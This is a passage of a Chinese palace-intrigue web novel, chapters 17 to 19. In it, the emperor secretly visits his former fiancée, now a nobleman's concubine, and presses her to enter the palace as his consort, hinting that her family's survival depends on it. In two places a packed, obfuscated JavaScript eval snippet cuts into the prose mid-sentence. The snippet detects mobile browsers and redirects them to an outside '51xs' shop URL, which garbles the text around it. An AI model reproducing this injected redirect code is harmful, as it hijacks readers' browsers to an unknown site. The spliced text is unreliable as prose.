“我猜皇帝有心目中的贵妃甚至皇后人选,佟家自作聪明对皇帝恰是瞌睡遇到枕头。霍蓁蓁想争抢后位是痴人说梦,平衡后宫更可能是虚晃一招,皇帝应该只想把明年的贵妃位置和将来的凤冠留给他心里的女人。” 走出父亲的书房时已华灯初上,晏霁之踏过满园灯火迷离跨进自己在前院的书房,从窗台的花觚中倒出张纸条,一张字谜纸条,皇帝亲自书写的字谜,谜底:流光! 众里寻她千百度?! 晏霁之闭闭眼,把字谜重新放进花觚,走到书案前落坐处理事情,夜深回流光小筑安置,又是春宵至即将寅时,甚至夜夜如此,霍灵渠出府时脚步都是虚浮的,她只能归咎于晏霁之前段时间旷太久,过一阵就好。 没挑破身份前,她每月借去城外大相国寺拜佛烧香的机会和桑柔小祐碰面,现已挑明,她和妹妹见面也没甚可迂回遮掩,带随行的婢女们坐上马车后就让车夫赶车往乌台巷。 只要没意外,她们姐妹每月见面的日子都固定;霍桑柔抱着小祐站在院门前等,看到英王府的马车驶入眼帘,等姐姐走下马车,欢欢喜喜拉着姐姐进院里。 “一刻钟前翻丨墙进来五个练把式,看着倒没恶意还硬要给我一千两银票,为首的男人说他和姐姐你相识要跟你单独聊,我搬出英王府也没吓退他们,那人现在就在小祐屋里。” 霍桑柔把娃给姐姐抱再挽着姐姐边走边耳语:“姐你要见吗?要是不想见,快些走掉,谅他们也不敢拿我们怎么样。” “和我相识?”霍灵渠讶异,琢磨道:“既然对方有备而来要与我见面必然事出有因,能避掉这回也避不开下回,再者他们既然行为规矩应当是有正事而非贪美色,见吧。” “好,那男的要是敢对姐姐你不规矩,姐你立即喊我。”霍桑柔和姐姐走进小祐的屋,指指站在窗前背对他们的男人,她自己在屋里溜个圈便往外走同时招呼英王府来的俩奴婢跟她去厨房做糕点。 霍灵渠抱娃走近前,打量番三步之外的颀长男子,试探问:“我就是流光,先生是?” 宝蓝锦袍的男人停顿下才缓缓转过身,他二十七八岁的模样,眉目深邃、鼻梁高挺、脸型线条硬朗,相貌英俊惹眼只是他浑身充斥的冷漠感能硬生生逼退所有想搭讪的人,此刻反而因他想刻意表现和悦而有些别扭。 “我、我是,”他拢在袖中的左手握成拳,手掌沁出的汗滴好像乱跳的心跳声扰得他一句话都要断三段:“我是忱璧、嬴忱璧,灵渠。” 17. 第17章 嬴忱璧?名字陌生得让霍灵渠迷茫,她在脑海中搜寻遍才从嬴姓找到突破点,又在记忆深处翻遍知晓的嬴姓人物终于想起她的前未婚夫正是叫嬴忱璧,难道是同名同姓吗? 下一瞬间想到她的前未婚夫已经是当今皇帝,应该没有这种巧合,那么她眼前这位? 霍灵渠默默倒灌凉气,抱娃的手臂下意识拢紧,美丽的脸蛋逐渐僵硬:“陛下?” “是我,”皇帝真怕她认不出自己甚至已经忘掉自己,闻言顿觉松口气:“是我,灵渠,十六年没见你还好吗?我是说你抱外甥这么久该累了,我来抱孩子吧。” “呃不不不,不用的。”霍灵渠连声婉拒,尴尬招呼:“陛下要喝茶吗?我给您沏茶。” 总而言之言而总之这对阔别多年的前未婚夫妻各自紧张,霍灵渠拘谨得忘记要跪地参拜,嬴忱璧拘谨得简直与在朝堂后宫正颜厉色的皇帝判若两人。 唯有四岁多的男娃自在:“小祐要喝喝,姨母,小祐渴啦。” “哦好,姨母给小祐倒水喝。”霍灵渠低头对娃哄,复而抬眸看向面前的皇帝,尴尬笑:“陛下若不嫌弃,不如先喝杯茶水再说事情。” “好!”皇帝紧张的情绪缓和些,应过好看她恭敬地退到旁边,失落自心头一闪划过,他握握浸汗的手心,迈开长腿快步走到圆桌前落座,趁她还没走过来迅速掏出手帕擦汗,胡擦两把就藏绢帕进衣袖里,转头看她走到桌前,下意识扬起笑意。 霍灵渠颔首赔笑,暂且放下娃娃,从桌上翻起两只茶杯,执起茶壶倒两杯茶水,捧杯茶呈给皇帝,再取过第二杯茶水蹲地喂小祐喝。 正徽帝嬴忱璧很不是滋味:“灵渠,你不需这般拘束,我们、我们曾是…我们曾是畅想过将来要举案齐眉生儿育女携手白头的未婚夫妻。” “往事早已不可追,您是高高在上的君王,灵渠只是蝼蚁小民。”霍灵渠让娃自己捧着茶杯慢慢喝水,转过身低头回话:“不知皇上御驾前来有何吩咐?” “坐下说话吧。” 皇帝空出心思打量番她的穿戴,蹙金镶雪狐毛的素红长裙,发髻间珠钗不多但皆属精品,女人手腕戴的白玉镯莹润剔透更透着价值不菲,这通身气派反而像勋贵人家作风低调的正室,晏霁之倒是真宠她。 霍灵渠抱起小祐与皇帝间隔只圆凳而坐,嬴忱璧凝视她:“十六年,你、好吗?我没想到当年的大火会是场阴谋,更没想到会让你在外漂泊那么多年,我没照顾好你,更对不住你,在最需要我出头的时候什么都没做,我这个未婚夫实在很混账。” 言者有心,闻者不至于没丝毫触动但要说因此生出什么涟漪也实属无稽,霍灵渠平静道:“陛下言重,小民愧不敢当,您若有事不妨直言。” 嬴忱璧暗暗苦笑,收敛外放的情绪道:“我知道你现在是晏霁之的流光姨娘,你应该耳闻过朕将在明年正月册封正一品贵妃。” “是,恭喜陛下。”霍灵渠客套话落,皇帝就道:“朕属意你做我的贵妃。” “……??” 霍灵渠仿佛听到天方夜谭更认为自己可能听错般询问:“小民斗胆,陛下您说什么?” “你没有听错,朕更没糊涂,朕说朕属意你做我的贵妃。”嬴忱璧目光炯然,咬字铿锵:“你曾经沦落风尘现在是他人的妾这些都不是问题,你只要跟我走。 今年委屈你带妹妹和外甥在城外皇庄暂住,明年正月朕就册封你为贵妃;还有那笔血仇更无需担心,明年朕就帮你报仇。” “您…没在说笑?”霍灵渠被震撼得反而镇定,脱口问最直白的疑惑:“为什么?” 为什么?!多傻多可笑的问题,执掌生杀予夺的君王费心思去讨女人的欢心能为什么,可嬴忱璧也给不出最简单直白的答案只能绕着真心打转:“我们是未婚夫妻,如果没变故,你早已是我的皇后,封你做贵妃已然委屈你。” “陛下如此念旧情真乃霍家之福,只是灵渠福薄,担不起您的厚爱更不敢玷污皇家。”霍灵渠冷静自持道:“倘若圣上没有其他吩咐,男女有别,请您及早离去。” “你、你不愿意?”嬴忱璧或许真没想过会被拒绝:“你为何不愿意?” “草民为何要愿意?”霍灵渠反问,语气那么顺理成章理所当然,反而令皇帝一愣,数条要规劝说服她的理由在喉咙里转过圈都先被自己给否决掉,他只能动用皇权威力:“这是朕的旨意,朕心意已决不容更改。” 霍灵渠仿佛有所意料,闻言并没有波动,她从桌上的八宝攒盒里取出两块蜜饯给小祐,继而向皇帝沉着请示:“草民斗胆请问,倘若我抗旨,会被处死吗? 如果会,草民遵旨;如果不会,你是皇帝想要什么样的女人会没有,何必要个残花败柳?请陛下高抬贵手放我们姐妹一条生路。” “生路?”轻飘飘地说出那么残忍的字眼,嬴忱璧真觉好笑:“灵渠,什么叫做生路?难道进宫做贵妃是死路吗,我帮你报血海深仇是死路吗?” “十七年前我姑母你的养母如今的霍太后向你父皇求到给你我赐婚的圣旨,大家都说霍家摆明在欺负你,欺你生母早逝、外祖家低微、要仰仗霍家讨生活。而今你早已是皇帝,却还要被逼迫得连自己的皇后都保不住,被欺辱至此,你能忍?” 霍灵渠眼圈微红,强忍苦涩道:“柿子要挑软的捏,我懂,霍灵渠进宫还能有活路吗?” 嬴忱璧被噎得险些内伤,略难受地措辞转圜:“你漂泊孤苦十多年,我即使对霍家不满,你认为我能卑鄙到要对你发泄吗?我们幼年情谊更是未婚夫妻,你觉得我是无耻之徒吗?我想对自己的未婚妻好,难道就是阴谋诡计吗?” “自我见到你的第一天起你就冷冰冰的,我几乎没有见你笑过,二十年前的五皇子对谁不是拒人于千里之外?未婚妻又如何,你对我热乎过吗?我们是曾经在桃花树下畅想过将来要举案齐眉生儿育女携手白头,但是我在傻乎乎的畅想,你不屑一顾。” 霍灵渠忍不住得眼酸:“当年尚且如此,而今十六年未见,你突然冒出来说想对我好,你自己觉得这话可信吗?皇帝陛下要是真对前未婚妻有情谊也是对济善庵里的那位有情,您风雨无阻每月前往济善庵拜佛烧香可是城中佳话。” 各自立场不同,她不恨可不代表她能忘:“如果我没有隐忍,如果今时今日我是抓到佟氏和两个假冒货要报仇雪恨,会不会我还没来得及动手就已丧命在你的刀下?” 嬴忱璧猛然心头一揪,他压压酸涩才苦笑解释:“我没有不屑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459209|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我当时只是不知道该怎样接你的话,我从没觉得我们的赐婚圣旨是霍家的欺辱,我、我一直都很高兴。” “自小到大只有六哥哥对我说过喜欢、想要娶我做媳妇。” 霍灵渠闭闭眼,两行清泪滑落,她抬手抹掉泪珠,坦率道:“如若是六哥哥在我面前说这番话,我信;陛下的言谈恕草民难以苟同,就请您直言能放我条生路吗?” “你喜欢老六?”嬴忱璧突兀问,霍灵渠淡漠答:“几岁的小姑娘能懂什么男女情,无非图跟大家热闹玩耍而已,有婚约后我谨守本分,自问没有对不住过曾经的前未婚夫。” “册封失散多年的未婚妻做贵妃不是朕一时兴起更没恶意,自从得知你流落在外我就想安排人寻觅,因太上皇骤然禅位,朕初登大宝朝堂局势纷繁复杂,实在腾不出手才推迟两年;现如今终于找到未婚妻子,朕不可能放手。” 嬴忱璧娓娓叙道:“你一时间不肯相信也没关系,进宫后你会慢慢明白朕只想对你好;你有多少要求都可尽数提来,只要朕做得到,朕都会办到。” “想对我好,能否遵从我的意愿?”霍灵渠略带祈求地阐释:“我只想在事情终结后寻处宁和的家园安度余生;我已没有清白,你也早已娶妻,婚约早已是往事,您又何苦执泥?请陛下慈悲,让霍灵渠凭自己的心意生活。” 能放手又怎会苦苦寻觅纠缠?嬴忱璧保证:“我会给你平静宁和的生活。” “可您出于什么心思想要对我好,如果您没想把对霍家的怨气撒在我身上,您费心找我,非要我进宫伴驾作甚?倘若我还有清白能算您贪图美色,可我不是。” 霍灵渠百般无奈道:“你放过我行吗?住宫里时我从没有对你使坏过,我对你很好,最坏也就有时候撇掉你去和别人一起玩,可这些都是孩童游戏,您若是非要算账报复,也请您放我条生路好吗?” 她求得几欲要哭,嬴忱璧更兼心酸,咬牙坦诚道:“你是我的未婚妻,我们要携手白头,我对你会比老六对你都不如吗?我只是内敛,没有对你甜言蜜语过而已。” 霍灵渠戛然顿住,眼底沁出的泪花顺着白滑如玉的脸颊滑落,她喃喃震惊:“怎会?你、你从小就冷,你对我也没热乎过呀,你…你没必要扯这种谎话吧。” “你评判标准是什么,按老六吗?我和他的性情分属两端,按他的活泼算我就是块冰,可这能代表我对你会比他差吗?”嬴忱璧犹豫下站起,走到她面前,霍灵渠急忙抱娃起立,她对面的皇帝眼含情深:“我只想补偿你,我就想对你好,灵渠,别怕我。” “可、可您想对我好就非得让我进宫做贵妃吗?”霍灵渠心肝微颤,将信将疑地试探:“如果您真有心,您可以不图回报地帮我报仇,当然您要图回报更是应该的;可您总不能挟恩强求我给不出的报答,若是如此,何必还要多此一举,您说对吗?” 通俗理解就是:请皇帝陛下您别扯着想对我好的名义来强迫威逼我做不愿意的事。 嬴忱璧右手攥成拳,隐忍问:“做朕的贵妃哪里为难你?不要拿安度余生这种话搪塞,你在宫里照样能安然生活,什么缘由让你这般推脱,晏霁之吗?你在他身边四年迟迟没动静,莫非是因为你爱上他而不忍心杀他的亲姨母?” 18. 第18章 隐约有打翻醋坛的酸味飘散,正徽帝嬴忱璧没自觉,霍灵渠自然更不会察觉到。 哪里为难?霍灵渠莫名有种对牛弹琴的感觉,譬如强迫猫狗下河是不是为难?她从未想过亦没兴趣的事,为何要答应?难道就因为她身份卑微,做皇帝的贵妃对她就该是天大的好处,她就应该要接受吗?这不可笑。 心中如是想但对面毕竟是能掌控她生死的皇帝,不可能真以此回呛,霍灵渠低眉恭顺道:“陛下认为我要报仇雪恨难吗?我宁可在外漂泊也没回归霍家,图什么?” 图让她父亲安稳!嬴忱璧目光微变,斟酌道:“霍漓江早晚会知道——” “只要不摆到明面上,只要我不在霍家不在爹爹面前现身,他不会知道。”霍灵渠强势打断反驳:“可我进宫做贵妃就相当于是昭告天下,这后果会害得我爹和他的嫡儿女还有岳家反目成仇,那我隐忍十多年还有何意义? 我没想过要为报仇豁出一切,我为何要答应做你的贵妃?如果我要豁出去,十多年前我就已经手刃佟氏,何需等到今天还要靠陛下为我做主?还是圣上觉得,我们姐妹在外漂泊甚至双双沦落风尘我还要窝囊忍受就是笑话吗?” 嬴忱璧无言以对,沉默逐渐蔓延,霍灵渠重申:“除非我违令必死无疑,否则请您恕霍灵渠只能心领您的好意而不能遵从您的安排。” “你管得住你妹妹吗?”嬴忱璧想起来,否决道:“你管不住,霍漓江就会知道。” “我会管住!”霍灵渠重重咬字,不想再浪费唇舌:“您给个痛快话,要是我不肯进宫会被陛下处死吗?倘若您肯仁慈,倘若您没别的事,男女有别,圣上真的该离去了。” 女人怒意浮现,嬴忱璧握紧拳头,正当犹豫难决时屋外响起敲门声:“姐,我进来啦。” 话落,屋门被推开,霍桑柔端着托盘跨进门槛,见这对峙形势忙走到姐姐身旁壮声势:“你怎么还没走,我两盘点心都做好了,答应让你和我姐单独说话可没答应让你得寸进尺;赶紧走,别逼我叫人来动粗,还真以为我们会怕你吗?” “我是你姐姐的未婚夫。”嬴忱璧看她道:“桑柔,你周岁时我还给你送过周岁礼,没想到你都长这么大了。” 霍桑柔:“……”什么玩意儿啊?!吓得她差点被呛住,缓缓劲儿看向姐姐用眼神询问。 “前未婚夫,他已娶妻,我也有男人,曾经的婚约早就是往事。”霍灵渠转向皇帝请求:“你的好意我很感激,但霍灵渠无福消受不能接,请你走吧。” “灵渠,在你心里是觉得你父亲的美满生活重要还是整个家族的存亡重要?”嬴忱璧知道这种威胁很卑鄙,可他到底希望她能主动愿意而非被威逼才屈从:“你尚且觉得我不可能忍受,我凭什么再容忍?” 霍灵渠神情微变,叮嘱妹妹:“桑柔你抱小祐去你屋里,不许在门外偷听。” 霍桑柔哦声,放下托盘再接过娃,一抱娃出门就悄悄打探:“姨母和那伯伯说什么?” “桂花糕、飞飞、放风筝、生肉、烤肉、柿子冰冰的、桃花树、拜佛烧香…嗯,还有喜欢娶媳妇。”男娃总结道:“那伯伯喜欢姨母要娶姨母做媳妇,还要带我们去桃花林放风筝,吃桂花糕烤烤肉,再去庵堂拜佛烧香,嗯,没错,老六。” 当她没问!霍桑柔哭笑不得地拍下自己的额头,抱着娃快步回自己屋里。 霍灵渠透过门缝隙看他们走远,转过身,昳丽眉眼沉肃,握拳问:“陛下何意?难道在您决意要除掉霍家之后,靠我进宫做您的贵妃就能挽救霍家吗?” “太后对朕毕竟有抚育之恩,你我更有未婚夫妻的情谊,霍家若能守住人臣本分,朕又何尝想让霍家最终要落得个满门抄斩的下场?可霍氏如今就敢这么狂,过两年霍蓁蓁进宫,霍家还要自寻多少死路?即使朕有心宽恕都不能饶,否则君威何在?” 嬴忱璧走到与她只相隔一步间距站定,俊脸温和而目光灼灼:“将霍蓁蓁捧上后位已经是太后和霍家的既定方针,世间唯独你能改变。 我们都清楚霍灵渠在太后心里和霍家的份量,如果朕册封霍灵渠做贵妃,朕敢肯定甚至你自己也能有把握霍家会改变计划;只有你霍灵渠成为贵妃,你才有机会把整个家族拉住,在朕收拢权柄前不彻底寻死,那么朕才能赐予生机。” 霍灵渠蛾眉紧蹙,明眸善睐盈满焦虑:“我……” “只要你愿意进宫,你尽可提任何要求,朕能做到的都会答应。”话虽如此,嬴忱璧也担心她离开霍家十多年可能会不在意家族存亡,随即追问:“考虑好了吗?” “我?”霍灵渠进退两难:“恳请陛下多宽限些时日,腊月底我再给您回复。” “腊、腊月?”皇帝陛下被噎道:“你考虑什么要考虑到腊月?” “自然是思考另外还有没有能劝住霍家不寻死路的办法。”霍灵渠理所当然:“若非陛下明年正月就得册封贵妃,只要在霍蓁蓁进宫前都来得及呀。” 嬴忱璧被噎得差点呛住,尽量心平气和道:“没有,朕明确告诉你,没有第二种办法。” 霍灵渠看他眼,敛衽屈膝道:“草民会细细思量,请陛下允准。” “一个月后朕就要答复。”语毕,嬴忱璧气闷地跳窗遁走,施礼送客,他如何再留? 自然是故意,可霍灵渠把这位皇帝陛下赶走也没稍缓沉闷的心情,她头疼地揉揉太阳穴,按住此事去找她妹妹商量送他们回外祖家。 “什么,我们有外祖家?”霍桑柔惊得跳起来:“姐你没吓我?” “我病倒前表哥找过来相认的,上回见面姐姐只顾高兴忘记跟你提了。”霍灵渠交代道:“姐姐要请表哥再来京畿,你带小祐跟表哥回外祖家安稳生活,不准再胡闹,知道吗?” “可我们既然有外祖家,为什么他们十几二十多年都没管过我们?”霍桑柔疑惑又生气,霍灵渠摇头苦笑:“表哥找到我时,外祖家遭遇过灭顶惨祸,家里几乎没人了。” “什么?!”尖锐刺耳的叫声吼得小祐男娃娃自动伸手捂耳朵,霍桑柔气得要炸毛了:“又是害我们那个天杀的仇家做的?!” “不是,是匹夫无罪、怀璧其罪,外祖家有宝物引权贵觊觎遭致无妄灾祸。表哥不肯说仇家是谁但姐姐能肯定与我们的仇家不是同个人,表哥很厉害,帮我们报仇不是难事,令他必须隐忍的仇敌必然更厉害。” 霍灵渠垂眸,在心里低叹:光阴回溯到八年前,也不知表哥是否已经挽救族人? “可是姐,外祖家的处境既然比我们糟,我再带小祐去投奔只会添乱吧?我留在撷芳馆反 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“怎么会,你照顾好家里的孩子们,表哥才能安心。”霍灵渠柔声宽解道:“外祖家的仇,我也什么都做不了;表哥讳莫如深,姐姐也连仇家只言片语的讯息都不知。 但表哥必定有自己的考量,我们贸然插手反而会添乱,就听从表哥的安排;若非还有事情没办完,姐姐都想和你们同回眉州。” 霍桑柔犹豫好久妥协,让姐姐收回银票:“我跟七娘说声就行了,姐姐你好不容易攒的银票你就自己收着。” “是晏霁之的银两,你拿给七娘,私底下也要给,就当谢谢主公照顾我们一场。还有,我们有外祖家有表哥能帮我们报仇的事别漏风声。”霍灵渠把银票放在妹妹手中,抬手拂过妹妹的碎发,叮嘱道:“我们和主公始终道不同不相为谋,不需牵扯太多。” “姐你到底为什么事跟主公生那么大气?四年多都没气消。”霍桑柔好奇问:“我听七娘说四年前主公想纳姐姐你做妾室,但你宁愿入风尘,真的吗?” “七娘自己想吧。”霍灵渠淡淡,霍桑柔赞同道:“肯定的,谁看不出她那点心思啊,我敢打赌主公肯定也早看出来了就是懒得搭理;但主公对她也挺特别,小九哥说身为死士谁动点超出本分的歪心思,主公都不会再留,偏偏一直留着她。” “与我们无关。”霍灵渠抱起小祐,笑道:“天冷了,我们去院里跳跳绳热乎热乎。” 霍桑柔把这沓银票放进柜子抽屉里锁住,跟姐姐欢喜出屋带娃玩,一直欢喜到下午日头开始偏西,恋恋不舍地送姐姐离开,期盼下个月再见面。 如果没有出现皇帝这道变故,能顺利说服妹妹远离京畿是非,霍灵渠也高兴,可霍家的存亡突然压在心头,她的心情哪还能好? 回到英王府的流光小筑,她倚窗思考许久暂定找小叔叔协商,夜里安寝前见到晏霁之,犹豫问他:“世子觉得霍家的四老爷霍枫叶为人如何?”童年印象已是十多年前,她觉得小叔叔很好能可靠也没把握不会生变,只能先打听番。 晏霁之专注书卷,报个最出众的情况:“没娶妻纳妾没通房外室没红颜知己。” “五没啊?”霍灵渠惊诧,一时情急就没顾及:“难道他和你一样有隐疾?” “话讲清楚,你在怀疑什么还是想操心什么?”晏霁之放掉书卷,眸光有点危险。 19. 第19章 烛火透过琉璃灯盏映照橘红纱幔绘成温馨晕染,红绡帐暖,海棠花覆被娇艳欲滴。 “世子哪儿的话,妾能操心怀疑什么?一时好奇罢了,二十多岁的男人既没娶妻纳妾又没情殇岂能不令闻者怪异吗?”霍灵渠捧起书卷,娇媚软语:“那我猜他有隐疾也合理呀,讳疾忌医最要不得,世子少年时有隐疾不就治好了吗?” 晏霁之弯弯唇:“治得有多好?” 霍灵渠微微抱紧书卷,低头娇羞,是真害羞没装:“妾正想劝您节制,妾能睡回笼觉,夜夜夜里只睡一两个时辰无妨,可您要在衙门办公哪能经得起这般不爱惜身体?” “看来治得不好,竟让流光觉得我弱。” “妾身分明劝您爱惜身体,任谁休息少都会没精神。”他若因此故意使坏变本加厉,霍灵渠想想都觉悲催,试探问:“说来,薛驸马的病治好了吗?” “还没,流光以为我应该把当年给我治病的大夫引荐给薛驸马吗?”晏霁之笑意浓厚:“告诉薛家那位大夫保管有用,因为我是过来人吗?” 霍灵渠头皮发麻,把书卷放进多宝格,步回床前放下帐幔,脱鞋进床铺,靠他怀里自怨:“是我口不择言,可你的隐疾已经治好多年还能算戳痛处吗?你自己都没避讳的告诉我,我一时无心之失也值得你跟我阴阳怪气?” 晏霁之配合她自哀:“这不是治得不好,让爱妾觉得我弱怎会不是在戳我的痛处?” 霍灵渠抑住心中害臊,婉转撒娇:“又故意曲解,还真应和你人前端得高雅,床帏里多孟浪都耍得出来;亏得你提前在屋底下挖暗室,世子爷可有先见之明呢。” “那么,流光觉得我好呢还是不好?” “好~~”霍灵渠娇滴滴启唇,伸手给他脱寝衣,她宁愿陪他燕好都不想跟他讨论这种话题,只是忍不住要劝:“今夜子时就歇了,夜夜寅时安置伤身体。” 晏霁之握住女人的柔荑,淡定道:“才戌时中,还早。我听说你和妹妹会面,你妹妹先带奴婢们去厨房做糕点后撇下你带孩子出屋,你和谁单独相处那么久?” “我有些不舒服想独自歇会儿。”霍灵渠抱屈抿唇,含怨道:“你想哪儿去了。” “无缘无故,打听霍家四老爷做甚?”晏霁之问,霍灵渠编道:“哦,是前些天妹妹带小祐上街,小祐在路中间蹦跳时有马车急奔冲来,多亏霍四老爷搭救,不然孩子要受伤了。虽然霍四老爷觉得是举手之劳,可我们姐妹还是想备份礼物酬谢。” 晏霁之未置可否,霍灵渠顺势提问:“世子以为霍家是在自寻死路吗?公然强抢后位,皇帝岂能容忍被欺辱至此?妾看来寻常老百姓都不可能忍的,西汉权臣霍光最势焰熏天时尚不曾如此过,霍家那几位当家人怎会出此昏招?” “流光真爱看书,从风花雪月的诗词歌赋到百家典籍再到史书传记,就没有你不爱看的书册,每日沏壶清茶捧本书卷淡看风云,反倒像位隐士。”晏霁之答得风马牛不相及:“我书房里的书籍快被你翻阅尽了,明年该要我带流光进王府的藏书楼搬书了吧。” “妾进府前读书少,仅凭容貌得您怜惜,怕您会嫌我蠢笨无趣;多读书丰富学识好歹能在您吟诗说古时听得懂言中意,即使不能讨您欢心也不至于惹您生厌。”霍灵渠抬头,眸若秋波撩人心怀,晏霁之捏住她的下颌:“原来流光爱看书都是对我的一片拳拳之心。” 霍灵渠羞涩含情低头,伸手臂抱住男人。 “温柔乡、英雄冢!”晏霁之搂住怀里的软玉温香,神情微凝:“霍枫叶若仅是没兴趣,一心只想追求抱负,算个人物。” “您说什么?”霍灵渠没明白,晏霁之抬手抚抚她滑嫩的脸颊,莞尔解析:“捧霍蓁蓁上后位当然不是昏招。 皇帝在潜邸的妻妾才五位,正徽元年有朝臣提议选秀,被否掉;正徽二年,朝堂有不少大臣奏疏,霍太后也施压要皇帝选秀。迫于压力,皇帝定在当年请太后操办菊花宴从官眷中挑选六位闺秀充盈后宫,正徽五年春再正式进行秀女大选。 菊花宴选出的六位闺秀中霍四姑娘已经是十九岁高龄,且她一年多前还硬退掉过亲事,霍家的态度已经摆明。明年就要选秀,霍蓁蓁若采选进宫,目标自然还是凤座,但让她从个小小的贵人争起可比让她入宫就做皇后折腾得多,直接抢多利索。 郭皇后是霍太后给皇帝挑的媳妇,是郭皇后在位还是换成霍蓁蓁对皇帝能有多少区别?霍家要抢后位,皇帝肯定会给;可一个后位又能代表什么,对皇帝可以是个摆设,对霍家的掌权人同样可以是掩人耳目混淆视听的弃子。” “弃、弃子?”霍灵渠不可思议:“霍家都要捧霍蓁蓁做皇后还能把她当成弃子?” “把她当做棋子用当然能舍,这盘棋,除非霍家能胜,否则她就是被家族舍弃的命。”晏霁之目光逐渐犀利,眉眼间透着超越年岁的老辣。 “霍家可不仅会嚣张更会以嚣张之名行谨慎之实,老穆国公父子仨谁是等闲之辈?舍掉个小辈算什么,霍漓江这亲爹都不会眨一下眼。” 霍灵渠如扇的睫毛轻颤,忽然感觉有些凉,下意识反驳:“你说的霍家该有多冷漠狠绝,你又不是霍家人凭什么肯定?这些都是你的胡思乱想,我觉得霍家很好,比你晏家好。” 晏霁之乐了,按住想即刻欺负她的欲~火,黑眸湛湛流泻笑意,挑逗兴味颇浓:“当然,如果换作蓁蓁的长姐霍灵渠,必定不会被家族舍弃。” 霍灵渠一怔:“这又为何?都是家族的小辈,她们有什么区别吗?” “流光可知霍家有一点很值得钦佩,”晏霁之真心赞叹:“霍秦川这辈的四兄弟很团结,即使不获封兴献侯,霍漓江对穆国公的爵位也没丝毫兴趣,心思手腕皆不比长兄差,他却能心甘情愿以长兄马首是瞻。” “他们是同胞亲兄弟,自然手足情深。”霍灵渠眼眸骤然聚光如明珠生辉,她灿然笑:“所以世子猜错了,霍家很重骨肉亲情,可不冷漠狠厉。” 晏霁之抚抚她顾盼生辉的眼眸,提醒:“已有婚约的姑娘在婚期前几月逢太上皇禅位、新帝登基,故装病大半年硬生生退掉婚约,以十九岁高龄入宫。流光以为她可能会得宠吗,皇帝有点品位都不能不嫌恶这种货色吧?” 霍灵渠心头咯噔声,迟疑问:“您是指穆国公很清楚还故意放纵?” “是不在意,讽刺的是她竟会是最得宠的庶女,她的生母亦是霍秦川最宠的妾室;倘若没有两年前霍鹣娇进宫,可真咂摸不出霍秦川这份心思。 他当然重亲情,但他重视的怕仅是父母和同胞亲弟亲妹还有嫡长子这些少数,妾室乃至庶女就是讨他欢心的玩意儿。霍漓江比长兄还要冷情许多,很可能只图自己痛快。” 霍灵渠拧眉,咬唇辩解:“或许穆国公认为美貌能抵过许多包括他女儿有过婚约和要进宫的企图,他贪美色,推己及人便觉得皇帝同样会被美貌迷惑。” 晏霁之点点头:“我对霍漓江的评价,流光不反驳吗?” 霍灵渠莫名憋得有点脸红,即使他们彼此心知肚明甚至都猜到对方清楚对方知晓,可没捅破前只能装:“妾只是按常理推测, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459211|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎会知霍家风流?” “嗯,刚才流光问:同是家族小辈,霍灵渠和霍蓁蓁有何区别,对吧?” “您对霍三姑娘很熟悉吗?”霍灵渠心里腹诽他绝对故意的,能听到好话才怪。果然,晏霁之装腔道:“青梅竹马能不熟悉吗? 童年大家玩耍,我和她堂兄弟还有小叔凑作堆时她永远假装最后看到我;她还喜欢在我面前扮矜持,当我没见过她玩疯的德行吗?这是想勾引我。 她还喜欢勾三搭四,想当年我们在宫里读书,皇子和贵胄少爷们她都要勾搭,最可恶的一点是她到处滥情竟敢装做若无其事。幸亏我童年定力足没有被她迷惑,否则我若娶了她,我非但要担心她会三五不时给我送顶绿帽,流光也要被她辣手摧花。” 晏霁之感慨又舒畅:“流光说她现在只能躲在庵堂里诵经念佛是不是活该?” 霍灵渠憋屈地陪他演:“济善庵里那位应该会遭报应的,世子爷放心。” “好,那就借流光吉言了。”晏霁之笑意盎然地抱美人赴巫山,霍灵渠气闷也只能忍,真不知哪里得罪他要被他污蔑成这样,但想想也感慨,她竟然会和晏霁之夜夜春宵。 夜半寒风呼啸至天明,灰蒙蒙的天际枯叶飘逐,独留光秃秃的树梢在北风中瑟瑟抖动;凛冽的寒气穿过缝隙刺透肌理,穿着单薄的人们忙不迭回屋加厚袄,今冬似比往年冷得早,小雪节气刚过,一场薄雪翩然降落。 转日晴空明朗,零星雪籽也没寻见,墙角腊梅含苞待放,唯见庭前山茶花红艳烂漫。 霍灵渠长发梳成麻花辫,身着雪缎细褶落红梅花瓣长裙外罩兔毛绒斗篷,搬把玫瑰椅坐在廊檐下翻阅《吕氏春秋》,阳光散落在她周身,岁月静好的安然闲适油然而生。 新入门的葵姨娘走进流光小筑,远看到这副画面令她莫名气短,壮壮气势来到石阶前,见得流光姨娘的美丽让她差点想逃离;她知道流光姨娘已经二十四岁,比她大整整九岁,来前她觉得这种老女人不难对付,真见面,她发现她的年轻根本不占优势。 “坐吧,绿岫给葵姨娘斟茶。”霍灵渠放掉书卷,微笑寒暄。 “我进门两旬才来拜访流光姐姐,姐姐勿怪。”葵姨娘接过茶盏抿了口,笑道:“姐姐这里的茶真好喝,这是什么茶呀?” “是普洱茶。”霍灵渠善意道:“进世子的内宅后其实很好过,安稳生活到二十岁出府;当然葵姨娘想争也应该,我知道你来是想探听世子的喜好。” “姐姐,我进府两旬还没见过世子的面,”葵姨娘稍稍尴尬下倒也不相瞒:“我到底哪里做错惹得世子这般厌恶?请姐姐指点,我一定记姐姐的恩情,来日双倍报答。” 